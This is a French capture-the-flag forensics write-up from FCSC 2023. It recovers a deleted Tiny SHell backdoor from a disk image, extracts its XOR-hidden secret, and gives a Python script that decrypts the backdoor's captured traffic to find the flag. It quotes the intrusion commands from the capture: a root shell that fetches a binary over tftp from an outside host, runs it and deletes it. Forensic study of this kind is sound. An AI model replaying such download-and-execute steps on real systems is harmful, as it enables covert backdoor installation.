Analyse
Je commence par ouvrir la capture réseau.
Les protocoles observés :
SADMIND: rien d’intéressant.Portmap: à voir éventuellement.Data: plusieurs sessions TCP.
Dans la session TCP sur le port 1524, on voit des commandes :
id
uid=0(root) gid=1(other)
cd /sbin
echo "get portmap"|tftp 192.168.102.10
tftp> Received 45207 bytes in 0.5 seconds
tftp> chmod +x /sbin/portmap
/sbin/portmap
rm /sbin/portmap
Après la suppression du binaire portmap, on voit du trafic TCP sur le port 7586. On suppose alors qu’il va falloir aller chercher le binaire effacé, sachant que l’énoncé nous l’indique comme étant Tiny SHell
(pas celui-là, celui-ci).
La tentative de récupération par Sleuthkit échoue :
$ fls -d -r evidences/HD3.hda 2 | grep portmap
-/- * 0: sbin/portmap
Je me rabats sur Photorec, mais impossible de filtrer sur le nom du fichier, on se retrouve avec toute une palanquée de fichiers restaurés. On cherche quelque chose qui ressemble à Tiny SHell, alors je tente plusieurs noms de fonction, et on a toujours les mêmes deux matchs:
$ grep -rail aes_set_key output/
output/recup_dir.2/f1450464.elf
output/recup_dir.2/f1450656.elf
Le deuxième a l’air en meilleur état :
$ file output/recup_dir.2/f1450464.elf output/recup_dir.2/f1450656.elf
output/recup_dir.2/f1450464.elf: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), dynamically linked, interpreter /usr/lib/ld.so.1, too large section header offset 1746955893
output/recup_dir.2/f1450656.elf: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), dynamically linked, interpreter /usr/lib/ld.so.1, stripped
La backdoor chiffre sa communication réseau. Le secret est hardcodé donc on doit pouvoir le retrouver dans le binaire. J’ouvre avec ghidra, mais il manque des symboles, il va falloir reconstruire un peu.
On cherche l’appel à pel_server_init. FUN_000162a8 ressemble au main de tshd.c. Mais aussi le process_client() (optimisation ou modification?). Du coup, FUN_000115b4 est pel_server_init().
Voilà son appel :
DAT_00029830 = DAT_00029830 ^ 0x80808080;
DAT_00029834 = DAT_00029834 ^ 0x80808080;
iVar3 = FUN_000115b4(iVar4);
Le secret est censé être le deuxième paramètre de la fonction, mais dans cette version, c’est une variable globale. Le XOR juste avant est louche d’autant qu’il n’est pas dans le code source d’origine…
DAT_00029830
00029830 c6 c3 d3 c3
DAT_00029834
00029834 b2 b0 b2 b3
On décode et on obtient comme secret FCSC2023. On est bien sur la bonne piste !
Ne reste plus (ahah) qu’à décrypter la communication réseau. Je n’ai pas trouvé d’outil existant (il paraît pourtant qu’il en existe). Donc je lis le code de Tiny SHell:
- à la connexion, le client envoie deux IV de 20 octets chacun (un pour le client, l’autre pour le serveur).
- le deuxième paquet envoyé par le client est un challenge.
- on lui retourne alors le challenge serveur.
- puis la communication se poursuit, chiffrée par AES et signée par HMAC.
Le contexte de gestion est le suivant :
struct pel_context
{
/* AES-CBC-128 variables */
struct aes_context SK; /* Rijndael session key */
unsigned char LCT[16]; /* last ciphertext block */
/* HMAC-SHA1 variables */
unsigned char k_ipad[64]; /* inner padding */
unsigned char k_opad[64]; /* outer padding */
unsigned long int p_cntr; /* packet counter */
};
La fonction pel_setup_context() initialise les clefs AES en hachant le secret avec les IVs envoyés par le client :
void pel_setup_context( struct pel_context *pel_ctx,
char *key, unsigned char IV[20] )
{
int i;
struct sha1_context sha1_ctx;
sha1_starts( &sha1_ctx );
sha1_update( &sha1_ctx, (uint8 *) key, strlen( key ) );
sha1_update( &sha1_ctx, IV, 20 );
sha1_finish( &sha1_ctx, buffer );
aes_set_key( &pel_ctx->SK, buffer, 128 );
memcpy( pel_ctx->LCT, IV, 16 );
[...]
}
Puis, sur réception d’un paquet (pel_recv_msg()), le serveur :
- déchiffre par AES les 16 premiers octets.
- XORe ces octets avec le précédent.
- les deux premiers octets donnent la taille de la payload du paquet (elle exclue taille et signature).
- lit la suite du paquet.
- vérifie la signature HMAC.
- déchiffre le paquet complet, et de nouveau XORe avec le précédent.
Pour déchiffrer la communication, on se fiche des challenges et de la signature. Cela va nous simplifier les choses. De plus, le XOR sur les blocs déchiffrés est en fait équivalent à un AES-CBC, il faut juste conserver la fin d’un paquet chiffré qui va servir d’IV pour le paquet suivant.
J’écris un script pour extraire et déchiffrer la communication avec le pseudo-algorithme suivant:
- ouverture de la capture et recherche des échanges sur le port 7586.
- filtrer les paquets pour ne garder que les
PSH+ACK. - extraction des IVs dans le premier paquet envoyé par le client.
- puis on déchiffre chaque paquet restant, avec le contexte du client ou du serveur suivant le sens de communication.
Son exécution donne le résultat suivant:
< Receiving IVs
< length=16 msg=b'X\x90\xae\x86\xf1\xb9\x1c\xf6)\x83\x95q\x1d\xdeX\r'
> length=16 msg=b'X\x90\xae\x86\xf1\xb9\x1c\xf6)\x83\x95q\x1d\xdeX\r'
< length=1 msg=b'\x03'
< length=14 msg=b'xterm-256color'
> length=21 msg=b'tpe-link-test?=true\r\n'
> length=22 msg=b'output-device=screen\r\n'
> length=23 msg=b'input-device=keyboard\r\n'
> length=23 msg=b'sbus-probe-list=40123\r\n'
> length=23 msg=b'keyboard-click?=false\r\n'
> length=29 msg=b'keymap: data not available.\r\n'
> length=24 msg=b'ttyb-rts-dtr-off=false\r\n'
> length=21 msg=b'ttyb-ignore-cd=true\r\n'
> length=24 msg=b'ttya-rts-dtr-off=false\r\n'
> length=21 msg=b'ttya-ignore-cd=true\r\n'
> length=24 msg=b'ttyb-mode=9600,8,n,1,-\r\n'
> length=24 msg=b'ttya-mode=9600,8,n,1,-\r\n'
> length=20 msg=b'fcode-debug?=false\r\n'
> length=32 msg=b'diag-file: data not available.\r\n'
> length=17 msg=b'diag-device=net\r\n'
> length=32 msg=b'boot-file: data not available.\r\n'
> length=18 msg=b'boot-device=disk\r\n'
> length=17 msg=b'auto-boot?=true\r\n'
> length=36060 msg=b'\xbaV(\xb4k\xb1\xbek_{\x08m\x10\x97ess?=false\r\ni\tt\xe5'
> length=20 msg=b'screen-#columns=80\r\n'
> length=17 msg=b'screen-#rows=34\r\n'
> length=18 msg=b'selftest-#megs=1\r\n'
> length=21 msg=b'scsi-initiator-id=7\r\n'
> length=20 msg=b'use-nvramrc?=false\r\n'
> length=30 msg=b'nvramrc: data not available.\r\n'
> length=22 msg=b'sunmon-compat?=false\r\n'
> length=20 msg=b'security-mode=none\r\n'
> length=40 msg=b'security-password: data not available.\r\n'
> length=32 msg=b'security-#badlogins=2863311530\r\n'
> length=31 msg=b'oem-logo: data not available.\r\n'
> length=17 msg=b'oem-logo?=false\r\n'
> length=35 msg=b'oem-banner=FCSC{4f991cb32d13aa01}\r\n'
> length=19 msg=b'oem-banner?=false\r\n'
> length=47 msg=b'hardware-revision=\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa...\r\n'
> length=50 msg=b'last-hardware-update=\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa...\r\n'
> length=12 msg=b'testarea=0\r\n'
> length=19 msg=b'mfg-switch?=false\r\n'
> length=20 msg=b'diag-switch?=false\r\n'
En plissant les yeux, on découvre le flag dans les échanges. :)
Script de résolution
#!/usr/bin/env python3
import dpkt
from hashlib import sha1
from Crypto.Cipher import AES
secret = b'FCSC2023'
pcap = open('sadmind.pcap','rb')
class encryption_ctx():
def __init__(self, iv):
# AES key
self.sk = self.init_key_context(iv)
# Previous decrypted block
self.lct =iv[:16]
def init_key_context(self, iv):
hash = sha1(secret)
hash.update(iv)
return hash.digest()[:16]
def decrypt(self, buffer):
# Extend the buffer to a multiple of 16 bits
if len(buffer)%16 != 0:
buffer += b'\x00' * (16 - len(buffer)%16)
# AES decrypt
cipher = AES.new(self.sk, AES.MODE_CBC, iv=self.lct)
plain = cipher.decrypt(buffer)
# Extract the message
length = (plain[0] << 8) + plain[1]
message = plain[2:2+length]
# Keep the value of the last block
self.lct = buffer[-16:]
return length, bytes(message)
ctx = dict()
for ts, pkt in dpkt.pcap.Reader(pcap):
# Only TCP
eth=dpkt.ethernet.Ethernet(pkt)
if eth.type != dpkt.ethernet.ETH_TYPE_IP:
continue
ip = eth.data
if ip.p != dpkt.ip.IP_PROTO_TCP:
continue
# Only the port
tcp = ip.data
if tcp.dport != 7586 and tcp.sport != 7586:
continue
# Only PSH+ACK
if tcp.flags & dpkt.tcp.TH_PUSH == 0 or tcp.flags & dpkt.tcp.TH_ACK == 0:
continue
payload = tcp.data
# First packet : IVs
if len(ctx) == 0:
print(f'< Receiving IVs')
ctx['client'] = encryption_ctx(payload[:20])
ctx['server'] = encryption_ctx(payload[20:])
# Then the communication
else:
# Remove HMAC
payload = payload[:-20]
# Client
if tcp.dport == 7586:
length, msg = ctx['client'].decrypt(payload)
print(f'< {length=} {msg=}')
# Server
else:
length, msg = ctx['server'].decrypt(payload)
print(f'> {length=} {msg=}')